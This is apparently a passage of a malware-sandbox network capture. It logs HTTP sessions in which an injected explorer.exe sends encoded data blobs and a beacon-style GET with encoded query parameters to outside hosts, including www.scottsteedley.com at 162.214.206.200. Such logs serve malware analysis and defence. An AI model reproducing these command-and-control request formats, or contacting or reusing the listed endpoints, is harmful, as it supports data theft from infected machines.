4f 2d 41 73 6f 4d 6a 4f 38 58 53 4d 78 69 62 73 50 37 53 41 4e 71 55 39 79 34 39 78 48 31 43 74 66 43 33 2d 7a 63 4f 4b 77 47 56 4b 47 43 44 46 44 71 7e 71 4f 51 38 59 6f 64 56 55 65 6f 54 35 37 49 7a 6e 53 4e 76 41 6a 47 34 48 36 65 68 6e 78 52 30 35 4c 41 54 6f 66 44 31 56 4e 32 37 5f 6c 6e 6f 53 62 45 5a 74 4c 4b 71 48 6e 53 47 53 7a 58 44 67 5a 35 5a 4d 73 31 47 6a 38 6f 74 49 61 76 31 49 52 4d 53 4d 33 43 75 58 72 61 7a 71 70 55 7a 77 73 43 70 47 41 59 33 31 4e 67 51 55 47 68 59 58 75 52 41 37 45 37 63 70 49 44 72 43 69 7a 6c 52 45 6f 66 32 77 4e 76 6f 43 47 79 74 46 55 4c 6c 6d 35 51 6f 7a 50 50 47 77 59 57 67 51 68 44 63 56 35 76 62 33 39 54 5f 59 50 28 44 64 5f 58 64 4a 7a 65 64 28 31 61 79 72 7a 54 53 47 73 56 63 7e 75 5a 36 28 6c 7a 4f 63 79 32 51 4f 55 56 4c 67 31 51 79 70 72 52 6c 31 67 7a 42 69 42 50 70 33 6a 79 67 6a 48 53 6b 35 71 6b 54 6c 46 54 5f 35 54 74 70 47 76 58 73 4a 69 7e 59 55 70 31 7a 76 4e 64 57 59 70 4d 73 52 4c 35 46 65 68 49 5a 34 46 66 4c 50 7a 58 79 69 4d 57 43 77 55 52 7a 30 54 53 72 55 53 36 78 6e 38 62 6a 68 34 4e 53 6b 39 34 52 7a 6d 33 74 5a 4b 78 79 57 38 54 54 50 75 30 38 58 6b 44 71 35 52 78 63 65 4e 42 72 6a 66 57 51 39 61 6d 37 28 33 62 32 74 34 58 78 7e 4b 6d 69 5a 34 71 72 63 7a 73 73 76 46 5a 6e 49 74 62 43 6e 70 59 76 76 65 67 54 6f 2d 72 59 54 69 7a 48 4e 57 4a 33 42 32 6b 75 4d 74 6d 61 46 65 31 5a 30 41 32 64 4a 31 55 42 59 63 4c 4a 77 72 53 48 6b 35 4a 51 6f 58 67 41 36 65 78 78 4d 6e 61 32 51 39 35 35 50 43 73 70 75 6c 67 61 66 37 6c 39 6e 42 69 71 4b 57 4c 55 62 6d 31 45 31 55 28 4a 36 43 55 62 58 4c 32 54 32 49 64 65 44 61 71 6d 78 59 70 57 76 6e 76 56 76 45 4e 4e 72 56 65 66 66 43 41 77 42 73 53 49 49 38 4b 6e 49 5f 4e 6d 6c 51 4a 42 49 51 74 75 6f 5f 79 50 48 74 66 78 79 2d 4e 56 76 64 77 75 69 51 6c 37 42 33 6c 45 5a 4d 79 4b 46 69 32 52 51 5f 36 6d 63 69 47 6b 56 6c 67 47 59 55 61 4b 47 37 34 6d 44 74 70 4b 37 73 6c 48 69 4f 46 57 62 6f 78 49 43 42 4b 6f 39 58 34 6c 76 71 33 46 67 43 4d 49 76 2d 78 73 34 4d 52 56 6f 32 59 56 56 5f 49 46 50 44 39 62 6d 43 6c 34 66 6f 50 66 59 4e 69 41 61 68 57 39 4e 52 71 34 67 7a 63 58 48 4c 47 4b 7e 46 64 37 31 48 67 41 53 77 5a 74 74 7a 62 38 77 47 43 54 71 6f 43 53 75 51 48 73 58 4a 6b 72 5a 54 42 56 31 34 55 75 67 70 59 6e 43 47 35 76 71 4f 49 4a 54 34 79 39 46 57 52 65 6b 30 52 4a 4d 4a 37 64 6d 41 54 6f 6b 32 52 48 73 48 31 35 68 68 47 56 42 66 67 67 51 76 38 4f 48 4c 6d 59 6a 41 5a 59 49 4b 72 69 6e 72 73 65 70 50 53 30 48 7a 36 6f 7e 56 4c 48 64 4d 44 5f 44 5a 48 30 44 45 5a 50 77 79 34 6c 64 70 67 5a 52 58 72 45 42 53 47 4c 73 46 46 66 57 49 59 5f 68 33 52 47 41 35 34 66 55 72 41 68 39 50 59 4d 54 48 67 73 46 48 6d 68 75 6b 76 71 48 48 55 55 4f 51 70 68 30 68 66 38 4f 6b 53 5a 33 6d 33 38 66 67 72 35 34 5a 77 39 39 6b 4a 71 79 68 34 62 4b 65 33 72 71 69 62 4d 31 70 4b 39 53 4f 62 35 4a 56 4d 46 66 70 33 5a 4b 70 44 77 49 68 4b 5f 76 37 64 33 77 44 55 5a 52 4d 6c 55 57 74 4c 30 63 53 5a 5f 45 5a 64 74 52 76 78 33 76 55 7a 4b 76 6b 45 68 6e 41 4d 47 45 53 42 63 39 36 47 33 52 57 4d 5f 63 4b 78 77 4e 70 4a 52 4a 33 55 6d 6d 31 43 49 6f 62 4b 36 67 62 4c 5a 55 50 34 64 53 47 42 6e 72 59 35 56 5a 71 50 36 46 38 32 70 67 43 51 61 7a 30 75 37 56 35 75 67 6a 74 36 69 4b 64 4d 6f 71 64 77 74 4d 48 76 4d 53 52 37 78 39 67 59 73 70 76 75 33 52 2d 54 55 75 46 7e 77 4d 36 6b 53 28 47 46 69 7e 30 35 55 7e 75 76 59 63 76 52 66 68 79 35 45 76 6b 57 30 53 39 6a 73 77 7a 75 4f 75 6f 56 61 50 64 73 78 5a 30 32 56 32 75 63 61 61 62 63 6c 6e 44 4c 58 54 71 7a 31 79 6f 56 57 6f 4f 61 78 6a 52 6a 2d 44 6a 46 35 49 77 76 70 45 63 79 6c 6d 30 72 61 52 49 74 73 55 33 39 5f 5a 39 4c 35 6c 31 72 62 51 76 7e 57 4e 76 73 6e 35 67 4a 4f 7a 43 31 66 28 43 54 36 36 54 53 37 43 36 6e 2d 61 5a 32 75 78 72 28 45 6b 57 46 50 51 6d 41 51 55 59 42 5a 61 70 68 4f 56 4b 50 4a 36 47 69 36 53 74 45 6a 46 35 30 34 38 58 34 56 33 6e 28 75 7a Data Ascii: O0qEM=1wj-jujVjS(621mpHFOIjsaFlQOVM35lZyKYAzf5YEw5r3ty9OShIeUiLNKiDDPdVbCEO-AsoMjO8XSMxibsP7SANqU9y49xH1CtfC3-zcOKwGVKGCDFDq~qOQ8YodVUeoT57IznSNvAjG4H6ehnxR05LATofD1VN27_lnoSbEZtLKqHnSGSzXDgZ5ZMs1Gj8otIav1IRMSM3CuXrazqpUzwsCpGAY31NgQUGhYXuRA7E7cpIDrCizlREof2wNvoCGytFULlm5QozPPGwYWgQhDcV5vb39T_YP(Dd_XdJzed(1ayrzTSGsVc~uZ6(lzOcy2QOUVLg1QyprRl1gzBiBPp3jygjHSk5qkTlFT_5TtpGvXsJi~YUp1zvNdWYpMsRL5FehIZ4FfLPzXyiMWCwURz0TSrUS6xn8bjh4NSk94Rzm3tZKxyW8TTPu08XkDq5RxceNBrjfWQ9am7(3b2t4Xx~KmiZ4qrczssvFZnItbCnpYvvegTo-rYTizHNWJ3B2kuMtmaFe1Z0A2dJ1UBYcLJwrSHk5JQoXgA6exxMna2Q955PCspulgaf7l9nBiqKWLUbm1E1U(J6CUbXL2T2IdeDaqmxYpWvnvVvENNrVeffCAwBsSII8KnI_NmlQJBIQtuo_yPHtfxy-NVvdwuiQl7B3lEZMyKFi2RQ_6mciGkVlgGYUaKG74mDtpK7slHiOFWboxICBKo9X4lvq3FgCMIv-xs4MRVo2YVV_IFPD9bmCl4foPfYNiAahW9NRq4gzcXHLGK~Fd71HgASwZttzb8wGCTqoCSuQHsXJkrZTBV14UugpYnCG5vqOIJT4y9FWRek0RJMJ7dmATok2RHsH15hhGVBfggQv8OHLmYjAZYIKrinrsepPS0Hz6o~VLHdMD_DZH0DEZPwy4ldpgZRXrEBSGLsFFfWIY_h3RGA54fUrAh9PYMTHgsFHmhukvqHHUUOQph0hf8OkSZ3m38fgr54Zw99kJqyh4bKe3rqibM1pK9SOb5JVMFfp3ZKpDwIhK_v7d3wDUZRMlUWtL0cSZ_EZdtRvx3vUzKvkEhnAMGESBc96G3RWM_cKxwNpJRJ3Umm1CIobK6gbLZUP4dSGBnrY5VZqP6F82pgCQaz0u7V5ugjt6iKdMoqdwtMHvMSR7x9gYspvu3R-TUuF~wM6kS(GFi~05U~uvYcvRfhy5EvkW0S9jswzuOuoVaPdsxZ02V2ucaabclnDLXTqz1yoVWoOaxjRj-DjF5IwvpEcylm0raRItsU39_Z9L5l1rbQv~WNvsn5gJOzC1f(CT66TS7C6n-aZ2uxr(EkWFPQmAQUYBZaphOVKPJ6Gi6StEjF5048X4V3n(uzuWjmdz79CoHQfsZTxPYf0L6LBWM5Ts8BQ5qgTW7PxdhMhHbTy2t5GLSSAbGs313o8g4fmMuns1eYMEim6(k(qjD68Iyn6EUoh~Ir6e0p9TenM49KjP12YE5UYkY6smoSxr8o_eCEk9JSKRSo8pM(FGs~eFxju7T~0AhwbVBU4cOqGvyinpH582WbjKypqhx8IjRMl6eU_Y9nLkiDcCWHEXnI9XE~V~h3UgopCNcwxcys8CxYTAsMKAS8CUx0WkNoXq36WTsK88K(ETT4XQ-XliqrZ3YTTBDGwya07ByKW1als3o3ayAlGOIvUKF2EdmdUjODFyfj04YC4kf4cBC1qIyXaWHMPUcisvI5W8WEPxlZ0NamwdW3bOuObElVsZnDshzMxkRdz3Tewp-JtZeKmjKLEAt7gV4GKYXADTwSX08T7bGtscoEEvUtKY0wWZlGUsCPS(jhHs6JngiEpjJc6qoQ7gpwl7p8C65ipGsmOqSXyFVCx49D-W7aReBrfupzXVfJGZ2lJfOcR74IlMNMFn3QAa9lgOY0Bu5VPxYlnAh0egePU1OC7BTBQLuAYjrZP7s(sSQF8HfwKJihEbVNuSR7Q0Jgaz5uxAVUDGt2kuLgTrWsyZxBWc_snf8sPaDF44MPnCss5dj1zUOhv(tewv3FxyKRAkxvtJtEJfhycCDmjXCefAhxJP9qQRDl7BFCn8ktPhnvx6Msbz05D~SL67cPMAaHbeDqad9xOffx31Fp2RD~oiEYnt9t7YFHnDWAW3pfO7ghLASE7QZsAguDh8xtYHxwJrFANUrqLgnUYybvTioxpu1gwVWQizoGqE_sTBVXX2DdCxvl82SalMLnJhRQa43EBiq26Dpt2I-fv6AFeawj4Ilt031zPUxswKFqKW6hzXoh0DLE-EH~YdGV4VZMLgsP6TPo3cCi30n0sdfRYbmoMfEm5spwLvb8dtviuFx8AivOnpS03SuvyObrm0tUbciS2l3T52l~XTDJr3lORBopqSF~z8X84JlAdmkK2K70C6cocREPdHpG-985abXQSebayzXBHFl7v30c7u6ixXJiJo1gyl_O5USsjcVoFDdFJSukqzunoAFqddsM2KqTa1zAUj_yRnTRRRPNLvakJ024-452TqHgh426wy5q4SOQngkmTJboAMkoLbrZ30-opZMaejxef52a_O2OpxfrsDOcDf7yDnF~IEAkOd4KxIGCQPers0GwEA4ISC2Jnva1zK3LadgjnHm4B24spseBSYiFIT9fzvD7H9HvfN6x_BmwSkxD3Q9E1fzI5VxBM57aPQ_WD~fDW4xCrzLyxREA8sc0AB5Al3mV5Owb04mnx56LksOWuhi2j0FtMT5~2X9btvhTXxSDPQkneOy3q0OgF8wV70pHu(-2u4N89rXY7O_VW~hJIccXvT2KY7BhBz7IH(n0RhUwd0hXP0stsXjSLap2OOs1Ehpk6ne5ZDVDRNJN2(zd0xBEOryw3xyYpDHzOARS2mK~CHeLq(28ieCJOziZRnGPmaCXiVofrbjtnjAO6Ebbnl9AVfOwymK9Rwp5R(nkDk-HWYg4-9H6kxqQY7T7LGz1HeJiMGt9hkcwrm9xkEs6wQWyWtQBDJ1N8LPyZG6bQPSGfwW214EHV9SDn7BPb0DwHwuRp3Enz~GCg8nSzEZ5OWKbfpxxyX9wJ6boCH4AdKl2mpaWVnYXn4eut7PMRlmOjPCTRdjoP~VUpUHHnQw(Kq5hoFcVhOt2lKRwJa0fENNbhJDci0e9bxLvku3eY4XljmuiuSDFwdhf7Yep4Lo3AW6u0tzbJ(OWT0D6F6oQZ9Bl1o3DuysykxfuddHzxAFEwgoE-4N0m0sTHB2qOB7k8~NGfNFpCgwRm5qFLzSDAmAdCA5p-hwGyvGkJZ64P3ozFCYWREZMJkFPIVeaKWGz5aQt92rssqLG2iEbKoGdHV45z5LAI0IHYqXBsmZGtb9Gh9wWW0_GeSeg7JAevxdEH12KL3xusVAZUMED7cR4ILjlFPwjy(hc7(VQkqbRHwyNPLRkpTgYa(5Xp2XQX2CX36MzUkT1vMq0zn8oObHCt(RsLMfp47
May 30, 2023 11:11:22.610696077 CEST	1182	OUT	Data Raw: 61 28 36 4c 36 78 54 56 2d 61 38 6d 75 4c 61 4d 58 4c 49 6c 69 42 72 6f 7a 68 70 73 65 4b 50 7e 67 72 50 69 53 37 62 75 51 67 35 50 6c 4a 53 51 39 59 6f 6b 5f 72 41 74 46 4a 6b 49 4b 4b 52 32 31 41 67 34 50 41 55 4f 35 46 46 6d 50 43 6e 39 30 44 Data Ascii: a(6L6xTV-a8muLaMXLIliBrozhpseKP~grPiS7buQg5PlJSQ9Yok_rAtFJkIKKR21Ag4PAUO5FFmPCn90DKuEo6H0hjtNrF1acZ6AzJq3X9NW4IA0W5pOUR6DyMO1UJNe6XMzBy4tjEMLuVz-KUp6IfpnS1N5Iyq_D7Jl854wpAc2gRb7(JAcdm(WqHyZoORgOd6qB9yAxh6_IWXi4_Z-qIBVnzUBNQSBYNw6Ph4Y31ATuN4O5T
May 30, 2023 11:11:22.776844025 CEST	1184	OUT	Data Raw: 68 57 51 59 42 68 6e 6e 6c 6d 34 4e 65 78 79 62 6a 33 69 6e 55 48 56 32 79 5a 73 42 39 4f 61 47 73 30 4b 71 43 69 54 78 2d 51 33 69 33 68 33 7e 4b 6a 6d 53 48 47 70 35 51 31 5f 4c 6a 50 4e 36 77 47 69 47 33 41 66 58 35 6a 5a 48 41 34 4b 78 45 58 Data Ascii: hWQYBhnnlm4Nexybj3inUHV2yZsB9OaGs0KqCiTx-Q3i3h3~KjmSHGp5Q1_LjPN6wGiG3AfX5jZHA4KxEXoLIM3qit2EIuzDJ(TWNf2eGO7TzS70l1viyonw_8otXL-9DLZclxaa20602pMekxYEdUMDs2x7t(Eq_Og5IP37WBJTHr3EpmGlXcWc1YgP6CZxAXaLsVKxho70IKioenjAlisro05Y3yzTssV~CDxCANf1jX9~WVj
May 30, 2023 11:11:22.776926994 CEST	1192	OUT	Data Raw: 37 49 77 35 5a 56 55 36 65 69 43 45 39 61 59 37 44 64 72 69 49 62 30 65 6d 43 52 34 4f 78 75 77 35 56 72 6c 65 54 67 59 34 39 39 37 77 35 33 57 4a 47 2d 37 42 67 64 56 35 54 6c 67 73 36 78 32 73 46 63 54 42 55 79 55 64 49 33 49 6e 37 6b 44 53 65 Data Ascii: 7Iw5ZVU6eiCE9aY7DdriIb0emCR4Oxuw5VrleTgY4997w53WJG-7BgdV5Tlgs6x2sFcTBUyUdI3In7kDSetMgk4mmlrYoLqmshuFhAEdZMKi5DqPW7s(bYDDxC3wyFm1EIAoK0R6z4ze94m3o2vAj7yf1hWuK(xJrtxxVhYlhNkY0KzQmooReIIQuFI8vJ649IKV11poM3yA4OwkgRfZ0uJ6FcV(jEy5H6EvRNA39BEmExeKneA
May 30, 2023 11:11:22.777494907 CEST	1202	OUT	Data Raw: 70 66 33 7a 6f 7e 75 6b 33 65 6c 6c 71 7e 30 32 6a 44 70 6a 65 43 5a 49 69 58 46 36 63 70 54 42 4f 72 78 63 59 58 66 70 42 6f 47 7e 57 39 50 6c 62 66 78 49 6c 37 75 62 6e 65 54 54 4e 51 39 78 4b 77 72 68 63 28 79 39 71 53 55 58 65 61 30 31 59 43 Data Ascii: pf3zo~uk3ellq~02jDpjeCZIiXF6cpTBOrxcYXfpBoG~W9PlbfxIl7ubneTTNQ9xKwrhc(y9qSUXea01YCbwFqiPtYmhNSKoEhOXsZrfOH_BvVtew1fEC7ChxZ3Y8Svc77Y4Svh4SONW7FTZNng8IbkPXSqtITo1vaxBI48y1uOe822PEqSg_XOfj4YJn5nXxCLcZOAIQ(F0Le4pKWXqB0xHybisrLgj7NUKWa4WL2m~Z9zVLfK
May 30, 2023 11:11:22.943356991 CEST	1205	OUT	Data Raw: 34 53 47 62 37 4c 61 7e 6c 7a 68 7e 2d 37 73 4e 32 31 67 4b 52 4e 65 7a 47 68 4b 59 45 66 62 65 55 68 6f 56 64 4d 66 57 73 65 5a 44 51 33 43 71 66 71 34 4a 46 44 38 54 35 76 70 68 36 6c 71 6b 72 70 36 78 30 44 33 6a 65 41 4c 79 61 54 48 56 72 47 Data Ascii: 4SGb7La~lzh~-7sN21gKRNezGhKYEfbeUhoVdMfWseZDQ3Cqfq4JFD8T5vph6lqkrp6x0D3jeALyaTHVrGXXnWnuR9opCSsSBWnjpJeu9KJDiq03IWHx-WyQBNz79misKwkgg8V1Y7hzS9m~wx3Esf0mX2Stqb2SZRNh1Wgr3aY5lhoRsNt4x64yAS2kDedxJm94rr6q1QZJl7cb7HK0B(99GHa189BlqJ2CxoDXjbm0Rv3xylA
May 30, 2023 11:11:22.943428993 CEST	1212	OUT	Data Raw: 5a 57 47 55 74 56 4e 6a 67 6c 73 37 47 6f 49 74 45 73 50 78 34 5a 32 45 72 4d 77 64 48 48 72 48 39 79 71 49 71 53 33 7e 6f 37 5a 6e 31 76 79 54 79 43 6d 4a 4b 74 55 6a 58 56 48 42 67 54 77 6a 35 68 56 43 72 7e 45 72 67 31 78 44 6d 68 6c 4e 4a 51 Data Ascii: ZWGUtVNjgls7GoItEsPx4Z2ErMwdHHrH9yqIqS3~o7Zn1vyTyCmJKtUjXVHBgTwj5hVCr~Erg1xDmhlNJQACAJIZU1RDDDGnU(r0QawlHL-l6tx~QiY2odBtSef2gUnZGySavFRFnfXrO(cbleS4Ly3Vcdn2VaSGG0BFokKqlatEfBbPAXpGTQvb4bwC5chaRHcy2bsYB76D-JqIqWO0yYcyQQz1kNxp3USodrXq3gIYRsQlWx3
May 30, 2023 11:11:22.943700075 CEST	1214	OUT	Data Raw: 5f 35 2d 35 66 79 51 49 45 6f 43 36 79 51 5f 48 53 35 51 65 66 77 50 50 76 68 31 66 5a 6c 4c 65 30 57 5f 36 72 73 30 36 5a 63 53 44 70 36 54 53 39 63 30 65 43 55 6d 53 79 74 52 32 53 79 59 66 30 6f 51 53 44 48 61 6c 77 34 42 48 41 72 6f 35 47 5a Data Ascii: _5-5fyQIEoC6yQ_HS5QefwPPvh1fZlLe0W_6rs06ZcSDp6TS9c0eCUmSytR2SyYf0oQSDHalw4BHAro5GZJKAHrBDKbn4inKfVpUpawiITc9ltCnOltI9CNuZ4gE1RaRWOtU_srUgml9dvDlI~ZG-lfZKFmAw(ybYmHDmpgdchz4NfL2NZAWxPoCDDHH2U6KT46vBiR(YKtZBLHAfvmEqiJcCrJVa7cDkOhErY1gIJXlKCNsEme
May 30, 2023 11:11:22.943877935 CEST	1223	OUT	Data Raw: 4e 6f 6c 51 47 7e 42 66 59 5a 6c 54 47 6d 58 67 39 4f 4b 31 72 65 34 56 50 35 66 30 71 36 4f 31 6d 68 35 31 4f 54 2d 57 79 42 6c 28 4c 56 6b 33 33 36 34 67 5a 56 6a 58 36 62 56 42 39 5a 61 64 50 4a 4d 6b 4c 6b 2d 65 76 31 6d 65 56 51 6f 68 4b 70 Data Ascii: NolQG~BfYZlTGmXg9OK1re4VP5f0q6O1mh51OT-WyBl(LVk3364gZVjX6bVB9ZadPJMkLk-ev1meVQohKpKvxU4csxos62pCFcQVtUY4RXaTckoUMo4IiUA~PKa0n5LYA0mBgCIjnnVkI(dBGMT066U7qBre3hyiJpzReQRF8Lh0YGuplh4oX79qODTeuWpFpgC9GFPClIf5Vz5TRu5foJBrcWTmUndXRF9g96foiwhXxy9eeHT
May 30, 2023 11:11:22.944046021 CEST	1224	OUT	Data Raw: 74 39 64 69 69 72 41 75 63 4b 4b 73 39 67 73 42 31 50 37 77 6e 54 4f 7a 4b 6c 61 31 34 67 42 4f 6a 36 4d 33 31 44 7a 4e 39 6e 4a 41 57 51 34 64 6b 66 45 66 6c 57 59 47 73 37 62 6d 54 70 5f 47 43 6b 4e 5a 44 36 68 68 6a 4b 6c 69 30 6f 6a 54 43 67 Data Ascii: t9diirAucKKs9gsB1P7wnTOzKla14gBOj6M31DzN9nJAWQ4dkfEflWYGs7bmTp_GCkNZD6hhjKli0ojTCgLT3gJTtPmnapv0Wc5wjRkE_exj17nwh~BvRxVjxreUnjfZKL9XDO9WMRu7-2bi_kZiLTYXQZ58yfi08RFiZWfS6ESr0wJrOZI(Yu7PNUOigidEcC95NepAFlZn6NUx8TUnUJESbd78qMyDl64~xUHE3nnl8GJp4Rm
May 30, 2023 11:11:22.944206953 CEST	1226	OUT	Data Raw: 42 46 56 62 45 62 49 63 66 6d 56 6e 5f 32 67 54 79 4b 33 72 35 53 51 79 6b 73 79 65 42 42 69 69 51 39 46 63 48 7e 36 67 38 53 4f 36 47 51 76 6f 41 55 50 28 74 6e 4c 4e 72 56 52 75 33 44 67 38 4b 67 4e 54 55 72 65 56 39 69 4e 37 47 6b 59 56 51 56 Data Ascii: BFVbEbIcfmVn_2gTyK3r5SQyksyeBBiiQ9FcH~6g8SO6GQvoAUP(tnLNrVRu3Dg8KgNTUreV9iN7GkYVQVgys7Y4Nhq7Wd4xMS-j5xbcgH9dKkCKXetVmLsmNSODfObhYKIfteXhO~e88imnGY0pTYqmC7n9Dl4ht4MFez7q9OKJcv3TLDI9bny9DTYQgfD4jQldJAJHvGmnxeoP3nlD_ONU9WA0WFMG3bL23AafgL7Y0zIfPgh
May 30, 2023 11:11:23.113339901 CEST	1228	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:11:22 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:11:23.113414049 CEST	1228	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.11.20	49821	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:25.296351910 CEST	1228	OUT	GET /tchg/?O0qEM=4yLegaT1sivciznwGwL+1oWFxAOSGQRZOQeAHXS5UhA0sXonzOuQC/8xHc6XJGn9K9HBDd08hbjXm0qB4TniN4OVF/4Ot7tkHQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.scottsteedley.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
